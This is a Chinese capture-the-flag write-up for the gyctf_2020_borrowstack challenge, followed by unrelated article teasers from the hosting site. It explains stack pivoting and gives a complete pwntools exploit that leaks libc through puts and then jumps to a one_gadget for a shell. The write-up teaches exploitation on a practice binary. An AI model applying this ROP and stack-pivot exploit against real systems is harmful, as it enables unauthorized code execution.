BUUCTF--gyctf_2020_borrowstack1

这是一题栈迁移的题目,先看看保护:



黑盒测试:


用户可输入两次内容,接着看看IDA中具体程序流程:


我们看到溢出内容只有0x10的空间给我们布局,这显然是不足以我们布置rop的。因此肯定就是栈迁移了。迁到什么地方呢,肯定就是这个bank所在的地方了。它在bss段上。我们还需要考虑一些细节上的东西,首先我们需要知道libc的基地址,因此我们需要通过puts函数来泄露。我们先看看最初栈的布局:

此时rip指向leave:


栈的内容:


leave指令做两件事:mov rsp,rbp;pop rbp.紧接着就是执行ret指令。

因此我们的思路明确了,需要覆盖掉old_rbp(图中手误大家理解就行)和返回地址。

old_rbp覆盖成我们的bss段,让rbp指过去,接着返回地址需要再调用一次leave。

问:(为何栈迁移需要两次调用leave?)

答:第一次调用是控制rbp到达想去的地方,第二次调用是控制rsp达到目的地。此后rbp飞去哪我们就不管了(不明白可以好好理解leave指令干的两件事)


因此我们的exp就能这样写了:

from pwn import *#io=remote('')
io=process('./gyctf_2020_borrowstack')
context.log_level='debug'
elf=ELF('./gyctf_2020_borrowstack')
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
bank=0x0601080
leave=0x400699
pop_rdi=0x400703  # ROPgadget --binary gyctf_2020_borrowstack  --only 'pop|ret' | grep 'rdi'
main=0x0400626
ret=0x4004c9gdb.attach(io)
io.recvuntil('u want')
pl1=b'a'*0x60+p64(bank)+p64(leave)    #control rsp -> .bss
io.send(pl1)
# gdb.attach(io)
# pause()
io.recvuntil('now!')
pl2=p64(ret)*20+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)     #leak puts_addr  
io.send(pl2)io.recvline()puts_add=u64(io.recv(6).ljust(8,b'\x00'))
print('!!!',hex(puts_add))
libc_base=puts_add-0x6F6A0
one_gadget=libc_base+0x4527a
pl3=b'a'*0x60+'bbbbbbbb'+p64(one_gadget) #one_gadget libc.2.23.so
io.send(pl3)
io.send('a')io.interactive()

下面我们看下步骤好的栈布局:


bss段上的内容:


此时劫持完rsp后效果是这样的:


接下来的操作基本都是pop,因此rsp是从低地址到高地址跑(每次pop,rsp+8),所以我们顺序布局就可以。

后续的操作就很简单,通过泄露的puts函数地址,计算出libc的基地址,当程序再次回到主函数时,直接将栈上的返回地址覆盖成one_gadget拿到权限。

puts函数偏移和one_gadget偏移要根据自身情况来定。我这是本地的环境。最后打通如下:


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/599219.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Vue3地图选点组件

Vue3地图选点组件 <template><div style"width: 100%; height: 500px"><div class"search-container"><el-autocompletev-model"suggestionKeyWord"class"search-container__input"clearable:fetch-suggestion…

error:0308010C:digital envelope routines::unsupported 前端项目错误

直接启动命令中增加&#xff1a; SET NODE_OPTIONS--openssl-legacy-provider && vue-cli-service serve

猫咪主食冻干K9、希喂、SC生骨肉冻干哪款好?详细对比测评这三款产品

随着科学养猫的观念深入人心&#xff0c;越来越多的铲屎官开始关注猫咪主食的营养与健康。主食冻干&#xff0c;作为一种模拟猫咪原始猎食的食品&#xff0c;因其高营养保留而受到广大猫奴的喜爱。相比传统的膨化猫粮&#xff0c;主食冻干更符合猫咪的饮食天性&#xff0c;提供…

计算机Java项目|基于SSM实现的在线考试系统

项目编号&#xff1a;L-BS-ZXBS-04 一&#xff0c;环境介绍 语言环境&#xff1a;Java: jdk1.8 数据库&#xff1a;Mysql: mysql5.7 应用服务器&#xff1a;Tomcat: tomcat8.5.31 开发工具&#xff1a;IDEA或eclipse 后台框架&#xff1a;Spring、SpringMVC、MyBatis …

C语言编译器(C语言编程软件)完全攻略(第五部分:VS2015使用教程(使用VS2015编写C语言程序))

介绍常用C语言编译器的安装、配置和使用。 五、VS2015使用教程&#xff08;使用VS2015编写C语言程序&#xff09; 前面我们给出了一段完整的C语言代码&#xff0c;就是在显示器上输出“C语言中文网”&#xff0c;如下所示&#xff1a; #include <stdio.h> int main() {…

Leetcode_day01_88合并两个有序数组

Leetcode_day01_88合并两个有序数组 题目描述&#xff1a; 给你两个按 非递减顺序 排列的整数数组 nums1 和 nums2&#xff0c;另有两个整数 m 和 n &#xff0c;分别表示 nums1 和 nums2 中的元素数目。 请你 合并 nums2 到 nums1 中&#xff0c;使合并后的数组同样按 非递减顺…

HarmonyOS应用开发学习笔记 包名、icon图标,应用名修改 UIAbility组件介绍、UIAbility启动模式、UIAbility组件基本用法

目前HarmonyOS应用主推的是Stage模型开发 一、Stage模型基本概念 项目描述UIAbility组件UIAbility组件是一种包含UI界面的应用组件&#xff0c;主要用于和用户交互。例如&#xff0c;图库类应用可以在UIAbility组件中展示图片瀑布流&#xff0c;在用户选择某个图片后&#xf…

Hotspot源码解析-第十二章-线程栈保护页

了解保护页&#xff0c;先从几个问题开始吧 1、为什么线程栈有栈帧了&#xff0c;还要有保护页&#xff1f; 答&#xff1a;在操作系统中内存可以看成是一个大数组&#xff0c;这就有一个问题&#xff0c;线程之间可能会互相踩了别人的内存空间&#xff0c;所以栈空间也存在这…

空间域图像增强之直方图均衡的python代码实现——冈萨雷斯数字图像处理

原理 直方图&#xff1a; 图像的直方图是一个图像中像素强度值分布的图表。 对于灰度图像&#xff0c;直方图展示了每个灰度级出现的频率。 直方图均衡步骤&#xff1a; 计算累积分布函数&#xff08;CDF&#xff09;&#xff1a;首先&#xff0c;计算图像的直方图&#xff0…

解决:ERROR: Failed building wheel for xxx

解决&#xff1a;ERROR: Failed building wheel for xxx 文章目录 解决&#xff1a;ERROR: Failed building wheel for xxx背景报错问题报错翻译报错原因解决方法参考内容&#xff1a;今天的分享就到此结束了 背景 在使用之前的代码构建环境时&#xff0c;报错&#xff1a;ERRO…

普中STM32-PZ6806L开发板(有点悲伤的故事续-人灯还未了)

简介 继上篇 普中STM32-PZ6806L开发板(有点悲伤的故事) 说到 关于 普中STM32-PZ6806L开发板的LED流水灯也被烧坏掉了&#xff0c;再也无法玩流水灯, 内心充满了只会流水灯的不甘, 流水灯就是单片机的Hello World&#xff0c;怎么能没有呢&#xff1f; 事情发展 好巧不巧想起最近…

Linux操作系统基础(10):Linux的特殊权限

1. 特殊权限是什么 在Linux中&#xff0c;特殊权限是指针对文件或目录的特殊权限设置&#xff0c;包括SetUID、SetGID和Sticky Bit。 SetUID&#xff08;Set User ID&#xff09;&#xff1a; 当一个可执行文件被设置了SetUID权限后&#xff0c;当任何用户执行该文件时&#x…

强大好用的低代码开发工具,yyds!

现在市面上的很多开发工具更侧重代码编辑&#xff0c;针对数据库增删改查&#xff08;CRUD&#xff09;类的Web系统开发&#xff0c;在界面设计、前后端数据交互等环节主要还是靠写代码&#xff0c;效率比较低&#xff1b;而现在市面上很多所谓的低代码开发平台&#xff0c;大多…

服务器经常出现自动重启怎么办

服务器自动重启是一个复杂且常见的问题&#xff0c;可能由多种原因引起。从硬件故障到软件问题&#xff0c;从电源问题到散热问题&#xff0c;每一个环节都可能成为服务器的杀手。在处理此类问题时&#xff0c;需要我们有一套完整的策略和方案&#xff0c;以便快速准确地定位并…

envoy在arm机器上的编译整理

版本信息&#xff1a; 操作系统:GUN Linux操作系统AARCH64架构。istio-proxy版本&#xff1a;istio-proxy1.15.2 编译环境搭建&#xff1a; 设置代理&#xff0c;确保可以访问Google等外网&#xff0c;这里envoy的第一次编译需要从外网下载依赖库。// 备注&#xff1a;这里一定…

决策树--分类决策树

1、介绍 ① 定义 分类决策树通过树形结构来模拟决策过程&#xff0c;决策树由结点和有向边组成。结点有两种类型&#xff1a;内部结 点和叶结点。内部结点表示一个特征或属性&#xff0c;叶子节点表示一个类。 ② 生成过程 用决策树分类&#xff0c;从根结点开始&#xff…

【自学笔记】01Java基础-09Java关键字详解

介绍java&#xff08;基于java11&#xff09;中所有关键字&#xff0c;以及主要重要的关键字详解。 1 Java 11中的关键字&#xff1a; 1.1 类型声明与变量定义 boolean&#xff1a;声明布尔类型变量&#xff0c;只有两个可能值 true 或 false。byte&#xff1a;声明一个8位有…

复制Ubuntu遇到的问题及解决办法、Ubuntu上git命令更改和查看账户、实现Ubuntu与Windows之间的文件共享

1、复制Ubuntu遇到的问题及解决办法 &#xff08;1&#xff09;问题一&#xff1a;“该虚拟机似乎正在使用中。如果该虚拟机未在使用&#xff0c;请按”获取所有权(T)”按钮获取它的所有权。否则&#xff0c;请按”取消(C)”按钮以防损坏。” 出现该问题的原因“未正确关闭虚…

关于java栈和堆

关于java栈和堆 在上一篇文章中我们了解了数组的声明和创建&#xff0c;本篇文章中我们了解一下声明数组&#xff0c;创建数组&#xff0c;给数组赋值以后&#xff0c;栈和堆都是怎么样子分配的&#xff0c;了解一下底层的逻辑知识&#xff0c;让大家可以更好的理解数组&#…

后端中的Dao层、Service层、Impl层、utils层、Controller层

Java Dao层 dao层叫数据访问层&#xff0c;全称为data access object&#xff0c;属于一种比较底层&#xff0c;比较基础的操作&#xff0c;具体到对于某个表、某个实体的增删改查&#xff0c;对外提供稳定访问数据库的方法 Mapper:&#xff08;DAO&#xff09; 访问数据库&am…